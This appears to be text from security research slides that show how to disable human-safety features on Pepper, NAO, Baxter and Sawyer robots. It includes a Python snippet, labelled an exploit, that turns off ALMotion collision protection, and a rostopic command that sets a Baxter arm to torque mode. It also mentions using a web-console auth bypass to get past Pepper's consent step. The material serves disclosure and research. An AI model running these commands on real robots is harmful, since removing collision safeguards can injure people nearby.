32. Disabling Pepper/NAO Human Safety Settings (1/2)
● It is possible to disable all external-collision avoidance
protections by changing the state of the ALMotion module
through the setExternalCollisionProtectionEnabled function.
○ NAO does not require user consent for disabling critical
reflexes
○ Pepper require user consent for disabling critical reflexes
(exploit Auth Bypass in Web Console)
3
2
Pepper blind spots. Arm speed is reduced
when moving inside these zonesSecurity Distances NAO/Pepper
33. Disabling Pepper/NAO Human Safety Settings (2/2)
3
3
"""
This exploit uses the setExternalCollisionProtectionEnabled method.
"""
# Get the service ALMotion.
motion_service = session.service("ALMotion")
# Disables "Move", "LArm" and "RArm" external anti collision
name = "All"
enable = False
motion_service.setExternalCollisionProtectionEnabled(name, enable)
(…)
Security protection can be disabled from the
vulnerable Pepper Web Console.
34. Disabling Baxter/Sawyer Human Safety Settings
3
4
● Arm joint mode: "Torque mode"
○ This control mode should be used with extreme caution,
since this control mode bypasses collision avoidance and
can result in potentially harmful motions.
○ To enable torque mode: publish a JointCommand message
to the joint_command topic for a given arm to set the arm
into the desired control mode and move it (mode 3):
$ rostopic pub /robot/limb/<side>/joint_command
baxter_core_msgs/JointCommand "{mode: 3, command: [0.0,
0.01, 0.0, 3.0, 2.55, -1.0, -2.07], names: ['left_w0', 'left_w1',
'left_w2', 'left_e0', 'left_e1', 'left_s0', 'left_s1']}" -r 100
○ Other ways to disable collision avoidance are also
possible